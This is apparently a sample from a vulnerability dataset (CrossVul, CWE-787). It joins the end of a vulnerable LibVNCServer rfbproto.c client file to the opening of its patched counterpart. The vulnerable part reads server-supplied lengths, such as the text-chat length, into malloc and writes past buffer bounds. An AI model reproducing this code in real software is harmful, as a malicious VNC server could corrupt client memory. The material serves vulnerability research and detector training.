chat.length = rfbClientSwap32IfLE(chat.length); if (!WriteToRFBServer(client, (char *)&chat, sz_rfbTextChatMsg)) return FALSE; if (count>0) { if (!WriteToRFBServer(client, text, count)) return FALSE; } return TRUE; } rfbBool TextChatOpen(rfbClient* client) { rfbTextChatMsg chat; if (!SupportsClient2Server(client, rfbTextChat)) return TRUE; chat.type = rfbTextChat; chat.pad1 = 0; chat.pad2 = 0; chat.length = rfbClientSwap32IfLE(rfbTextChatOpen); return (WriteToRFBServer(client, (char *)&chat, sz_rfbTextChatMsg) ? TRUE : FALSE); } rfbBool TextChatClose(rfbClient* client) { rfbTextChatMsg chat; if (!SupportsClient2Server(client, rfbTextChat)) return TRUE; chat.type = rfbTextChat; chat.pad1 = 0; chat.pad2 = 0; chat.length = rfbClientSwap32IfLE(rfbTextChatClose); return (WriteToRFBServer(client, (char *)&chat, sz_rfbTextChatMsg) ? TRUE : FALSE); } rfbBool TextChatFinish(rfbClient* client) { rfbTextChatMsg chat; if (!SupportsClient2Server(client, rfbTextChat)) return TRUE; chat.type = rfbTextChat; chat.pad1 = 0; chat.pad2 = 0; chat.length = rfbClientSwap32IfLE(rfbTextChatFinished); return (WriteToRFBServer(client, (char *)&chat, sz_rfbTextChatMsg) ? TRUE : FALSE); } /* * UltraVNC Server Input Disable * Apparently, the remote client can *prevent* the local user from interacting with the display * I would think this is extremely helpful when used in a HelpDesk situation */ rfbBool PermitServerInput(rfbClient* client, int enabled) { rfbSetServerInputMsg msg; if (!SupportsClient2Server(client, rfbSetServerInput)) return TRUE; /* enabled==1, then server input from local keyboard is disabled */ msg.type = rfbSetServerInput; msg.status = (enabled ? 1 : 0); msg.pad = 0; return (WriteToRFBServer(client, (char *)&msg, sz_rfbSetServerInputMsg) ? TRUE : FALSE); } /* * send xvp client message * A client supporting the xvp extension sends this to request that the server initiate * a clean shutdown, clean reboot or abrupt reset of the system whose framebuffer the * client is displaying. * * only version 1 is defined in the protocol specs * * possible values for code are: * rfbXvp_Shutdown * rfbXvp_Reboot * rfbXvp_Reset */ rfbBool SendXvpMsg(rfbClient* client, uint8_t version, uint8_t code) { rfbXvpMsg xvp; if (!SupportsClient2Server(client, rfbXvp)) return TRUE; xvp.type = rfbXvp; xvp.pad = 0; xvp.version = version; xvp.code = code; if (!WriteToRFBServer(client, (char *)&xvp, sz_rfbXvpMsg)) return FALSE; return TRUE; } /* * SendPointerEvent. */ rfbBool SendPointerEvent(rfbClient* client,int x, int y, int buttonMask) { rfbPointerEventMsg pe; if (!SupportsClient2Server(client, rfbPointerEvent)) return TRUE; pe.type = rfbPointerEvent; pe.buttonMask = buttonMask; if (x < 0) x = 0; if (y < 0) y = 0; pe.x = rfbClientSwap16IfLE(x); pe.y = rfbClientSwap16IfLE(y); return WriteToRFBServer(client, (char *)&pe, sz_rfbPointerEventMsg); } /* * SendKeyEvent. */ rfbBool SendKeyEvent(rfbClient* client, uint32_t key, rfbBool down) { rfbKeyEventMsg ke; if (!SupportsClient2Server(client, rfbKeyEvent)) return TRUE; memset(&ke, 0, sizeof(ke)); ke.type = rfbKeyEvent; ke.down = down ? 1 : 0; ke.key = rfbClientSwap32IfLE(key); return WriteToRFBServer(client, (char *)&ke, sz_rfbKeyEventMsg); } /* * SendClientCutText. */ rfbBool SendClientCutText(rfbClient* client, char *str, int len) { rfbClientCutTextMsg cct; if (!SupportsClient2Server(client, rfbClientCutText)) return TRUE; memset(&cct, 0, sizeof(cct)); cct.type = rfbClientCutText; cct.length = rfbClientSwap32IfLE(len); return (WriteToRFBServer(client, (char *)&cct, sz_rfbClientCutTextMsg) && WriteToRFBServer(client, str, len)); } /* * HandleRFBServerMessage. */ rfbBool HandleRFBServerMessage(rfbClient* client) { rfbServerToClientMsg msg; if (client->serverPort==-1) client->vncRec->readTimestamp = TRUE; if (!ReadFromRFBServer(client, (char *)&msg, 1)) return FALSE; switch (msg.type) { case rfbSetColourMapEntries: { /* TODO: int i; uint16_t rgb[3]; XColor xc; if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbSetColourMapEntriesMsg - 1)) return FALSE; msg.scme.firstColour = rfbClientSwap16IfLE(msg.scme.firstColour); msg.scme.nColours = rfbClientSwap16IfLE(msg.scme.nColours); for (i = 0; i < msg.scme.nColours; i++) { if (!ReadFromRFBServer(client, (char *)rgb, 6)) return FALSE; xc.pixel = msg.scme.firstColour + i; xc.red = rfbClientSwap16IfLE(rgb[0]); xc.green = rfbClientSwap16IfLE(rgb[1]); xc.blue = rfbClientSwap16IfLE(rgb[2]); xc.flags = DoRed|DoGreen|DoBlue; XStoreColor(dpy, cmap, &xc); } */ break; } case rfbFramebufferUpdate: { rfbFramebufferUpdateRectHeader rect; int linesToRead; int bytesPerLine; int i; if (!ReadFromRFBServer(client, ((char *)&msg.fu) + 1, sz_rfbFramebufferUpdateMsg - 1)) return FALSE; msg.fu.nRects = rfbClientSwap16IfLE(msg.fu.nRects); for (i = 0; i < msg.fu.nRects; i++) { if (!ReadFromRFBServer(client, (char *)&rect, sz_rfbFramebufferUpdateRectHeader)) return FALSE; rect.encoding = rfbClientSwap32IfLE(rect.encoding); if (rect.encoding == rfbEncodingLastRect) break; rect.r.x = rfbClientSwap16IfLE(rect.r.x); rect.r.y = rfbClientSwap16IfLE(rect.r.y); rect.r.w = rfbClientSwap16IfLE(rect.r.w); rect.r.h = rfbClientSwap16IfLE(rect.r.h); if (rect.encoding == rfbEncodingXCursor || rect.encoding == rfbEncodingRichCursor) { if (!HandleCursorShape(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h, rect.encoding)) { return FALSE; } continue; } if (rect.encoding == rfbEncodingPointerPos) { if (!client->HandleCursorPos(client,rect.r.x, rect.r.y)) { return FALSE; } continue; } if (rect.encoding == rfbEncodingKeyboardLedState) { /* OK! We have received a keyboard state message!!! */ client->KeyboardLedStateEnabled = 1; if (client->HandleKeyboardLedState!=NULL) client->HandleKeyboardLedState(client, rect.r.x, 0); /* stash it for the future */ client->CurrentKeyboardLedState = rect.r.x; continue; } if (rect.encoding == rfbEncodingNewFBSize) { client->width = rect.r.w; client->height = rect.r.h; client->updateRect.x = client->updateRect.y = 0; client->updateRect.w = client->width; client->updateRect.h = client->height; if (!client->MallocFrameBuffer(client)) return FALSE; SendFramebufferUpdateRequest(client, 0, 0, rect.r.w, rect.r.h, FALSE); rfbClientLog("Got new framebuffer size: %dx%d\n", rect.r.w, rect.r.h); continue; } /* rect.r.w=byte count */ if (rect.encoding == rfbEncodingSupportedMessages) { int loop; if (!ReadFromRFBServer(client, (char *)&client->supportedMessages, sz_rfbSupportedMessages)) return FALSE; /* msgs is two sets of bit flags of supported messages client2server[] and server2client[] */ /* currently ignored by this library */ rfbClientLog("client2server supported messages (bit flags)\n"); for (loop=0;loop<32;loop+=8) rfbClientLog("%02X: %04x %04x %04x %04x - %04x %04x %04x %04x\n", loop, client->supportedMessages.client2server[loop], client->supportedMessages.client2server[loop+1], client->supportedMessages.client2server[loop+2], client->supportedMessages.client2server[loop+3], client->supportedMessages.client2server[loop+4], client->supportedMessages.client2server[loop+5], client->supportedMessages.client2server[loop+6], client->supportedMessages.client2server[loop+7]); rfbClientLog("server2client supported messages (bit flags)\n"); for (loop=0;loop<32;loop+=8) rfbClientLog("%02X: %04x %04x %04x %04x - %04x %04x %04x %04x\n", loop, client->supportedMessages.server2client[loop], client->supportedMessages.server2client[loop+1], client->supportedMessages.server2client[loop+2], client->supportedMessages.server2client[loop+3], client->supportedMessages.server2client[loop+4], client->supportedMessages.server2client[loop+5], client->supportedMessages.server2client[loop+6], client->supportedMessages.server2client[loop+7]); continue; } /* rect.r.w=byte count, rect.r.h=# of encodings */ if (rect.encoding == rfbEncodingSupportedEncodings) { char *buffer; buffer = malloc(rect.r.w); if (!ReadFromRFBServer(client, buffer, rect.r.w)) { free(buffer); return FALSE; } /* buffer now contains rect.r.h # of uint32_t encodings that the server supports */ /* currently ignored by this library */ free(buffer); continue; } /* rect.r.w=byte count */ if (rect.encoding == rfbEncodingServerIdentity) { char *buffer; buffer = malloc(rect.r.w+1); if (!ReadFromRFBServer(client, buffer, rect.r.w)) { free(buffer); return FALSE; } buffer[rect.r.w]=0; /* null terminate, just in case */ rfbClientLog("Connected to Server \"%s\"\n", buffer); free(buffer); continue; } /* rfbEncodingUltraZip is a collection of subrects. x = # of subrects, and h is always 0 */ if (rect.encoding != rfbEncodingUltraZip) { if ((rect.r.x + rect.r.w > client->width) || (rect.r.y + rect.r.h > client->height)) { rfbClientLog("Rect too large: %dx%d at (%d, %d)\n", rect.r.w, rect.r.h, rect.r.x, rect.r.y); return FALSE; } /* UltraVNC with scaling, will send rectangles with a zero W or H * if ((rect.encoding != rfbEncodingTight) && (rect.r.h * rect.r.w == 0)) { rfbClientLog("Zero size rect - ignoring (encoding=%d (0x%08x) %dx, %dy, %dw, %dh)\n", rect.encoding, rect.encoding, rect.r.x, rect.r.y, rect.r.w, rect.r.h); continue; } */ /* If RichCursor encoding is used, we should prevent collisions between framebuffer updates and cursor drawing operations. */ client->SoftCursorLockArea(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h); } switch (rect.encoding) { case rfbEncodingRaw: { int y=rect.r.y, h=rect.r.h; bytesPerLine = rect.r.w * client->format.bitsPerPixel / 8; /* RealVNC 4.x-5.x on OSX can induce bytesPerLine==0, usually during GPU accel. */ /* Regardless of cause, do not divide by zero. */ linesToRead = bytesPerLine ? (RFB_BUFFER_SIZE / bytesPerLine) : 0; while (linesToRead && h > 0) { if (linesToRead > h) linesToRead = h; if (!ReadFromRFBServer(client, client->buffer,bytesPerLine * linesToRead)) return FALSE; client->GotBitmap(client, (uint8_t *)client->buffer, rect.r.x, y, rect.r.w,linesToRead); h -= linesToRead; y += linesToRead; } break; } case rfbEncodingCopyRect: { rfbCopyRect cr; if (!ReadFromRFBServer(client, (char *)&cr, sz_rfbCopyRect)) return FALSE; cr.srcX = rfbClientSwap16IfLE(cr.srcX); cr.srcY = rfbClientSwap16IfLE(cr.srcY); /* If RichCursor encoding is used, we should extend our "cursor lock area" (previously set to destination rectangle) to the source rectangle as well. */ client->SoftCursorLockArea(client, cr.srcX, cr.srcY, rect.r.w, rect.r.h); client->GotCopyRect(client, cr.srcX, cr.srcY, rect.r.w, rect.r.h, rect.r.x, rect.r.y); break; } case rfbEncodingRRE: { switch (client->format.bitsPerPixel) { case 8: if (!HandleRRE8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleRRE16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleRRE32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } case rfbEncodingCoRRE: { switch (client->format.bitsPerPixel) { case 8: if (!HandleCoRRE8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleCoRRE16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleCoRRE32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } case rfbEncodingHextile: { switch (client->format.bitsPerPixel) { case 8: if (!HandleHextile8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleHextile16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleHextile32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } case rfbEncodingUltra: { switch (client->format.bitsPerPixel) { case 8: if (!HandleUltra8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleUltra16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleUltra32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } case rfbEncodingUltraZip: { switch (client->format.bitsPerPixel) { case 8: if (!HandleUltraZip8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleUltraZip16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleUltraZip32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } case rfbEncodingTRLE: { switch (client->format.bitsPerPixel) { case 8: if (!HandleTRLE8(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; break; case 16: if (client->si.format.greenMax > 0x1F) { if (!HandleTRLE16(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; } else { if (!HandleTRLE15(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; } break; case 32: { uint32_t maxColor = (client->format.redMax << client->format.redShift) | (client->format.greenMax << client->format.greenShift) | (client->format.blueMax << client->format.blueShift); if ((client->format.bigEndian && (maxColor & 0xff) == 0) || (!client->format.bigEndian && (maxColor & 0xff000000) == 0)) { if (!HandleTRLE24(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; } else if (!client->format.bigEndian && (maxColor & 0xff) == 0) { if (!HandleTRLE24Up(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; } else if (client->format.bigEndian && (maxColor & 0xff000000) == 0) { if (!HandleTRLE24Down(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; } else if (!HandleTRLE32(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; break; } } break; } #ifdef LIBVNCSERVER_HAVE_LIBZ case rfbEncodingZlib: { switch (client->format.bitsPerPixel) { case 8: if (!HandleZlib8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleZlib16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleZlib32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } #ifdef LIBVNCSERVER_HAVE_LIBJPEG case rfbEncodingTight: { switch (client->format.bitsPerPixel) { case 8: if (!HandleTight8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleTight16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleTight32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } #endif case rfbEncodingZRLE: /* Fail safe for ZYWRLE unsupport VNC server. */ client->appData.qualityLevel = 9; /* fall through */ case rfbEncodingZYWRLE: { switch (client->format.bitsPerPixel) { case 8: if (!HandleZRLE8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (client->si.format.greenMax > 0x1F) { if (!HandleZRLE16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } else { if (!HandleZRLE15(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } break; case 32: { uint32_t maxColor=(client->format.redMax<<client->format.redShift)| (client->format.greenMax<<client->format.greenShift)| (client->format.blueMax<<client->format.blueShift); if ((client->format.bigEndian && (maxColor&0xff)==0) || (!client->format.bigEndian && (maxColor&0xff000000)==0)) { if (!HandleZRLE24(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } else if (!client->format.bigEndian && (maxColor&0xff)==0) { if (!HandleZRLE24Up(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } else if (client->format.bigEndian && (maxColor&0xff000000)==0) { if (!HandleZRLE24Down(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } else if (!HandleZRLE32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } } break; } #endif default: { rfbBool handled = FALSE; rfbClientProtocolExtension* e; for(e = rfbClientExtensions; !handled && e; e = e->next) if(e->handleEncoding && e->handleEncoding(client, &rect)) handled = TRUE; if(!handled) { rfbClientLog("Unknown rect encoding %d\n", (int)rect.encoding); return FALSE; } } } /* Now we may discard "soft cursor locks". */ client->SoftCursorUnlockScreen(client); client->GotFrameBufferUpdate(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h); } if (!SendIncrementalFramebufferUpdateRequest(client)) return FALSE; if (client->FinishedFrameBufferUpdate) client->FinishedFrameBufferUpdate(client); break; } case rfbBell: { client->Bell(client); break; } case rfbServerCutText: { char *buffer; if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbServerCutTextMsg - 1)) return FALSE; msg.sct.length = rfbClientSwap32IfLE(msg.sct.length); buffer = malloc((uint64_t)msg.sct.length+1); if (!ReadFromRFBServer(client, buffer, msg.sct.length)) { free(buffer); return FALSE; } buffer[msg.sct.length] = 0; if (client->GotXCutText) client->GotXCutText(client, buffer, msg.sct.length); free(buffer); break; } case rfbTextChat: { char *buffer=NULL; if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbTextChatMsg- 1)) return FALSE; msg.tc.length = rfbClientSwap32IfLE(msg.sct.length); switch(msg.tc.length) { case rfbTextChatOpen: rfbClientLog("Received TextChat Open\n"); if (client->HandleTextChat!=NULL) client->HandleTextChat(client, (int)rfbTextChatOpen, NULL); break; case rfbTextChatClose: rfbClientLog("Received TextChat Close\n"); if (client->HandleTextChat!=NULL) client->HandleTextChat(client, (int)rfbTextChatClose, NULL); break; case rfbTextChatFinished: rfbClientLog("Received TextChat Finished\n"); if (client->HandleTextChat!=NULL) client->HandleTextChat(client, (int)rfbTextChatFinished, NULL); break; default: buffer=malloc(msg.tc.length+1); if (!ReadFromRFBServer(client, buffer, msg.tc.length)) { free(buffer); return FALSE; } /* Null Terminate <just in case> */ buffer[msg.tc.length]=0; rfbClientLog("Received TextChat \"%s\"\n", buffer); if (client->HandleTextChat!=NULL) client->HandleTextChat(client, (int)msg.tc.length, buffer); free(buffer); break; } break; } case rfbXvp: { if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbXvpMsg -1)) return FALSE; SetClient2Server(client, rfbXvp); /* technically, we only care what we can *send* to the server * but, we set Server2Client Just in case it ever becomes useful */ SetServer2Client(client, rfbXvp); if(client->HandleXvpMsg) client->HandleXvpMsg(client, msg.xvp.version, msg.xvp.code); break; } case rfbResizeFrameBuffer: { if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbResizeFrameBufferMsg -1)) return FALSE; client->width = rfbClientSwap16IfLE(msg.rsfb.framebufferWidth); client->height = rfbClientSwap16IfLE(msg.rsfb.framebufferHeigth); client->updateRect.x = client->updateRect.y = 0; client->updateRect.w = client->width; client->updateRect.h = client->height; if (!client->MallocFrameBuffer(client)) return FALSE; SendFramebufferUpdateRequest(client, 0, 0, client->width, client->height, FALSE); rfbClientLog("Got new framebuffer size: %dx%d\n", client->width, client->height); break; } case rfbPalmVNCReSizeFrameBuffer: { if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbPalmVNCReSizeFrameBufferMsg -1)) return FALSE; client->width = rfbClientSwap16IfLE(msg.prsfb.buffer_w); client->height = rfbClientSwap16IfLE(msg.prsfb.buffer_h); client->updateRect.x = client->updateRect.y = 0; client->updateRect.w = client->width; client->updateRect.h = client->height; if (!client->MallocFrameBuffer(client)) return FALSE; SendFramebufferUpdateRequest(client, 0, 0, client->width, client->height, FALSE); rfbClientLog("Got new framebuffer size: %dx%d\n", client->width, client->height); break; } default: { rfbBool handled = FALSE; rfbClientProtocolExtension* e; for(e = rfbClientExtensions; !handled && e; e = e->next) if(e->handleMessage && e->handleMessage(client, &msg)) handled = TRUE; if(!handled) { char buffer[256]; rfbClientLog("Unknown message type %d from VNC server\n",msg.type); ReadFromRFBServer(client, buffer, 256); return FALSE; } } } return TRUE; } #define GET_PIXEL8(pix, ptr) ((pix) = *(ptr)++) #define GET_PIXEL16(pix, ptr) (((uint8_t*)&(pix))[0] = *(ptr)++, \ ((uint8_t*)&(pix))[1] = *(ptr)++) #define GET_PIXEL32(pix, ptr) (((uint8_t*)&(pix))[0] = *(ptr)++, \ ((uint8_t*)&(pix))[1] = *(ptr)++, \ ((uint8_t*)&(pix))[2] = *(ptr)++, \ ((uint8_t*)&(pix))[3] = *(ptr)++) /* CONCAT2 concatenates its two arguments. CONCAT2E does the same but also expands its arguments if they are macros */ #define CONCAT2(a,b) a##b #define CONCAT2E(a,b) CONCAT2(a,b) #define CONCAT3(a,b,c) a##b##c #define CONCAT3E(a,b,c) CONCAT3(a,b,c) #define BPP 8 #include "rre.c" #include "corre.c" #include "hextile.c" #include "ultra.c" #include "zlib.c" #include "tight.c" #include "trle.c" #include "zrle.c" #undef BPP #define BPP 16 #include "rre.c" #include "corre.c" #include "hextile.c" #include "ultra.c" #include "zlib.c" #include "tight.c" #include "trle.c" #include "zrle.c" #define REALBPP 15 #include "trle.c" #define REALBPP 15 #include "zrle.c" #undef BPP #define BPP 32 #include "rre.c" #include "corre.c" #include "hextile.c" #include "ultra.c" #include "zlib.c" #include "tight.c" #include "trle.c" #include "zrle.c" #define REALBPP 24 #include "trle.c" #define REALBPP 24 #include "zrle.c" #define REALBPP 24 #define UNCOMP 8 #include "trle.c" #define REALBPP 24 #define UNCOMP 8 #include "zrle.c" #define REALBPP 24 #define UNCOMP -8 #include "trle.c" #define REALBPP 24 #define UNCOMP -8 #include "zrle.c" #undef BPP /* * PrintPixelFormat. */ void PrintPixelFormat(rfbPixelFormat *format) { if (format->bitsPerPixel == 1) { rfbClientLog(" Single bit per pixel.\n"); rfbClientLog( " %s significant bit in each byte is leftmost on the screen.\n", (format->bigEndian ? "Most" : "Least")); } else { rfbClientLog(" %d bits per pixel.\n",format->bitsPerPixel); if (format->bitsPerPixel != 8) { rfbClientLog(" %s significant byte first in each pixel.\n", (format->bigEndian ? "Most" : "Least")); } if (format->trueColour) { rfbClientLog(" TRUE colour: max red %d green %d blue %d" ", shift red %d green %d blue %d\n", format->redMax, format->greenMax, format->blueMax, format->redShift, format->greenShift, format->blueShift); } else { rfbClientLog(" Colour map (not true colour).\n"); } } } /* avoid name clashes with LibVNCServer */ #define rfbEncryptBytes rfbClientEncryptBytes #define rfbEncryptBytes2 rfbClientEncryptBytes2 #define rfbDes rfbClientDes #define rfbDesKey rfbClientDesKey #define rfbUseKey rfbClientUseKey #include "vncauth.c" #include "d3des.c"
./CrossVul/dataset_final_sorted/CWE-787/c/bad_520_0
crossvul-cpp_data_good_519_0
/* * Copyright (C) 2000-2002 Constantin Kaplinsky. All Rights Reserved. * Copyright (C) 2000 Tridia Corporation. All Rights Reserved. * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ /* * rfbproto.c - functions to deal with client side of RFB protocol. */ #ifdef __STRICT_ANSI__ #define _BSD_SOURCE #define _POSIX_SOURCE #define _XOPEN_SOURCE 600 #endif #ifndef WIN32 #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <pwd.h> #endif #include <errno.h> #include <rfb/rfbclient.h> #ifdef WIN32 #undef SOCKET #undef socklen_t #endif #ifdef LIBVNCSERVER_HAVE_LIBZ #include <zlib.h> #ifdef __CHECKER__ #undef Z_NULL #define Z_NULL NULL #endif #endif #ifndef _MSC_VER /* Strings.h is not available in MSVC */ #include <strings.h> #endif #include <stdarg.h> #include <time.h> #ifdef LIBVNCSERVER_WITH_CLIENT_GCRYPT #include <gcrypt.h> #endif #include "sasl.h" #ifdef LIBVNCSERVER_HAVE_LZO #include <lzo/lzo1x.h> #else #include "minilzo.h" #endif #include "tls.h" #ifdef _MSC_VER # define snprintf _snprintf /* MSVC went straight to the underscored syntax */ #endif /* * rfbClientLog prints a time-stamped message to the log file (stderr). */ rfbBool rfbEnableClientLogging=TRUE; static void rfbDefaultClientLog(const char *format, ...) { va_list args; char buf[256]; time_t log_clock; if(!rfbEnableClientLogging) return; va_start(args, format); time(&log_clock); strftime(buf, 255, "%d/%m/%Y %X ", localtime(&log_clock)); fprintf(stderr, "%s", buf); vfprintf(stderr, format, args); fflush(stderr); va_end(args); } rfbClientLogProc rfbClientLog=rfbDefaultClientLog; rfbClientLogProc rfbClientErr=rfbDefaultClientLog; /* extensions */ rfbClientProtocolExtension* rfbClientExtensions = NULL; void rfbClientRegisterExtension(rfbClientProtocolExtension* e) { e->next = rfbClientExtensions; rfbClientExtensions = e; } /* client data */ void rfbClientSetClientData(rfbClient* client, void* tag, void* data) { rfbClientData* clientData = client->clientData; while(clientData && clientData->tag != tag) clientData = clientData->next; if(clientData == NULL) { clientData = calloc(sizeof(rfbClientData), 1); clientData->next = client->clientData; client->clientData = clientData; clientData->tag = tag; } clientData->data = data; } void* rfbClientGetClientData(rfbClient* client, void* tag) { rfbClientData* clientData = client->clientData; while(clientData) { if(clientData->tag == tag) return clientData->data; clientData = clientData->next; } return NULL; } static rfbBool HandleRRE8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleRRE16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleRRE32(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleCoRRE8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleCoRRE16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleCoRRE32(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleHextile8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleHextile16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleHextile32(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltra8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltra16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltra32(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltraZip8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltraZip16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltraZip32(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE15(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE24(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE24Up(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE24Down(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE32(rfbClient* client, int rx, int ry, int rw, int rh); #ifdef LIBVNCSERVER_HAVE_LIBZ static rfbBool HandleZlib8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZlib16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZlib32(rfbClient* client, int rx, int ry, int rw, int rh); #ifdef LIBVNCSERVER_HAVE_LIBJPEG static rfbBool HandleTight8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTight16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTight32(rfbClient* client, int rx, int ry, int rw, int rh); static long ReadCompactLen (rfbClient* client); #endif static rfbBool HandleZRLE8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE15(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE24(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE24Up(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE24Down(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE32(rfbClient* client, int rx, int ry, int rw, int rh); #endif /* * Server Capability Functions */ rfbBool SupportsClient2Server(rfbClient* client, int messageType) { return (client->supportedMessages.client2server[((messageType & 0xFF)/8)] & (1<<(messageType % 8)) ? TRUE : FALSE); } rfbBool SupportsServer2Client(rfbClient* client, int messageType) { return (client->supportedMessages.server2client[((messageType & 0xFF)/8)] & (1<<(messageType % 8)) ? TRUE : FALSE); } void SetClient2Server(rfbClient* client, int messageType) { client->supportedMessages.client2server[((messageType & 0xFF)/8)] |= (1<<(messageType % 8)); } void SetServer2Client(rfbClient* client, int messageType) { client->supportedMessages.server2client[((messageType & 0xFF)/8)] |= (1<<(messageType % 8)); } void ClearClient2Server(rfbClient* client, int messageType) { client->supportedMessages.client2server[((messageType & 0xFF)/8)] &= (!(1<<(messageType % 8))); } void ClearServer2Client(rfbClient* client, int messageType) { client->supportedMessages.server2client[((messageType & 0xFF)/8)] &= (!(1<<(messageType % 8))); } void DefaultSupportedMessages(rfbClient* client) { memset((char *)&client->supportedMessages,0,sizeof(client->supportedMessages)); /* Default client supported messages (universal RFB 3.3 protocol) */ SetClient2Server(client, rfbSetPixelFormat); /* SetClient2Server(client, rfbFixColourMapEntries); Not currently supported */ SetClient2Server(client, rfbSetEncodings); SetClient2Server(client, rfbFramebufferUpdateRequest); SetClient2Server(client, rfbKeyEvent); SetClient2Server(client, rfbPointerEvent); SetClient2Server(client, rfbClientCutText); /* technically, we only care what we can *send* to the server * but, we set Server2Client Just in case it ever becomes useful */ SetServer2Client(client, rfbFramebufferUpdate); SetServer2Client(client, rfbSetColourMapEntries); SetServer2Client(client, rfbBell); SetServer2Client(client, 